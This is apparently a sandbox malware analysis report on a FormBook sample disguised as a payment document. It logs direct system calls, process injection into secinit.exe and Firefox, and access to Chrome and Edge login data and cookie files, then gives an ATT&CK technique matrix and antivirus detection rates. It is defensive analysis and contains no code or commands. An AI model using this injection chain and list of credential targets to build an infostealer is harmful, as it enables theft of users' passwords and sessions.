Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: NULL target: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: NULL target: C:\Windows\SysWOW64\secinit.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Source: 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000002.2604341132.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000000.1655457243.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2605176992.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000002.2604341132.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000000.1655457243.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2605176992.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000002.2604341132.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000000.1655457243.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2605176992.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000002.2604341132.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000000.1655457243.0000000000F61000.00000002.00000001.00040000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2605176992.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Queries volume information: C:\Users\user\Desktop\SOA - Final Payment.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
SOA - Final Payment.exe	62%	Virustotal		Browse
SOA - Final Payment.exe	59%	ReversingLabs	Win32.Backdoor.FormBook
SOA - Final Payment.exe	100%	Joe Sandbox ML